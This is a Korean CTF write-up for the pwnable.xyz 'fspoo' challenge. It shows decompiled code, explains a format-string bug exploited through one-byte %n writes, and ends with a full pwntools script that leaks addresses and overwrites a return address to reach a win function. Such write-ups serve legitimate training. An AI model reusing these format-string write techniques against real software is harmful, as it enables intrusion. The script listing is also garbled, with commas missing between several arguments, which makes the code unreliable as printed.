본문으로 바로가기

pwnable.xyz / fspoo

category Wargame/pwnable.xyz 2020. 1. 14. 02:33
void __cdecl vuln()
{
  uint8_t menu// [esp+8h] [ebp-10h]
  unsigned int __canary// [esp+Ch] [ebp-Ch]

  __canary = __readgsdword(0x14u);

  while ( 1 )
  {
    printf(&cmd[0x20]);
    puts("1. Edit name.\n2. Prep msg.\n3. Print msg.\n4. Exit.");
    printf("> ");
    __isoc99_scanf("%d", &menu);
    getchar();

    switch ( menu )
    {
      case 1:
        printf("Name: ");
        read(0, &cmd[0x30], 0x1Fu);
        break;

      case 2:
        sprintf(cmdhead, &cmd[0x30]);
        break;

      case 3:
        puts(cmd);
        break;

      case 0:
        return;

      default:
        puts("Invalid");
    }
  }
}

 

head 는 "💩   %s" 로, %s 앞에 7바이트가 붙어있는 전체 길이가 9인 문자열이다.

1번 메뉴에서 &cmd[0x30] 에 31바이트 크기까지 입력할 수 있으며, 2번 메뉴에서 sprintf 를 실행하여 cmd 에 최대 38바이트를 쓸 수 있다. 따라서 반복문 초기에 출력되는 &cmd[0x20] 은 최대 6바이트 길이의 문자열을 가리키게 된다.

 

printf(&cmd[0x20]); 에서 FSB가 발생한다는 점이 눈에 띈다. 하지만 앞서 언급했듯, 인자로 들어가는 문자열은 최대 길이가 6에 불과하다.

 

 

cmd 의 상태를 그림으로 나타내 보았다.

 

cmd[0x20] 을 출력하는 부분에서 FSB를 성공적으로 활용하려면, 위 그림에서 빨간색으로 표시된 10바이트를 NULL이 아닌 다른 바이트로 바꿔 cmd[0x20] 이 사용자 입력을 포함하도록 해야 한다.

 

해당 10바이트를 수정하려면 그 위치를 스택에 올려야 하는데, 스택에 올릴 수 있는 값은 menu 가 유일하다. 만약 특정 동작을 실행하기 위해 menu 에 1이나 2를 그대로 쓰게 된다면 FSB에서 %n 으로 인해 주소가 1 (또는 2) 인 곳에 그대로 값을 써서 Segmentation Fault가 발생하게 된다. 이를 회피하기 위해 아래와 같은 방법을 사용할 수 있다.

 

write가 가능한 주소를 p라고 하면,

1. menu(p & 0xFFFFFF00) | 1 값을 입력하여 1번 메뉴를 실행시킨다.

2. 임의의 25바이트 뒤에 1개 이상의 문자들과 %n을 붙인 문자열을 쓴다.

3. menu(p & 0xFFFFFF00) | 2 값을 입력하여 2번 메뉴를 실행시킨다.

4. menu 에 값을 넣을 위치의 주소값을 입력한다. 이 과정이 끝나면 원하는 위치에 1바이트가 쓰여지게 된다. 

 

이는 menu 가 1바이트 자료형이기 때문에 가능하다.

 

위 과정을 10번 반복해서 빨간색으로 표시된 10바이트를 NULL이 아닌 값으로 대체한 후, 사용자 입력에 FSB payload를 넣어서 win 함수를 실행한다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *
import argparse
import sys


def log_info(string) :
    sys.stderr.write(u'\u001b[37;1m[\u001b[32m+\u001b[37;1m]\u001b[0m {s}\n'.format(s=string))

def EditName(name:bytesmenu:int=1) :
    p.writelineafter(b'> 'str(menu).encode())
    p.writeafter(b'Name: ', name)

def PrepMsg(menu:int=2) :
    p.writelineafter(b'> 'str(menu).encode())
    return p.read()

def PrintMsg() :
    p.writelineafter(b'> 'b'3')
    return p.read()[:-1]

def exploit() :
    p.writeafter(b'Name: 'b'A'*0x19 + b'%10$p')

    stack_vuln_ret = int(PrepMsg()[2:10], 16)-0xC
    log_info('vuln ret = '+hex(stack_vuln_ret))

    EditName(b'A'*0x19 + b'%11$p')
    binary_base = int(PrepMsg()[2:10], 16)-0xA77
    win = binary_base + 0x9FD
    cmd = binary_base + 0x2040
    temp = binary_base + 0x2100

    log_info('image base address: '+hex(binary_base))
    log_info('win = '+hex(win))
    log_info('cmd = '+hex(cmd))
    log_info('writable address: '+hex(temp)+' (temporary)')

    EditName(b'A'*0x19 + b'AA%6$n', (temp & 0xFFFFFF00) | 1)
    PrepMsg((temp & 0xFFFFFF00) | 2)

    for i in range(10) :
        p.writelineafter(b'> 'str(cmd+0x20+6+i).encode())

    loword = win & 0xFFFF
    hiword = (win >> 16) & 0xFFFF

    EditName(b'%' + str(loword-12).encode() + b'c%6$n\x00', (temp & 0xFFFFFF00) | 1)
    p.writelineafter(b'> 'str(stack_vuln_ret-2**32).encode())
    EditName(b'%' + str(hiword-12).encode() + b'c%6$n\x00', (temp & 0xFFFFFF00) | 1)
    p.writelineafter(b'> 'str(stack_vuln_ret+2-2**32).encode())

    p.writelineafter(b'> 'b'0')

    p.interactive()


if __name__ == '__main__' :
    parser = argparse.ArgumentParser()
    parser.add_argument('-r''--remote'action='store_true'help='connect to remote server')
    args = parser.parse_args()

    if args.remote :
        p = remote('svc.pwnable.xyz'30010)
    else :
        p = process('./challenge')

    exploit()

 

 

 

Last update: 2/6/2021

'Wargame > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz / J-U-M-P  (0) 2020.01.15
pwnable.xyz / SUS  (0) 2020.01.14
pwnable.xyz / Game  (0) 2020.01.13
pwnable.xyz / l33t-ness  (0) 2020.01.13
pwnable.xyz / Jmp table  (0) 2020.01.13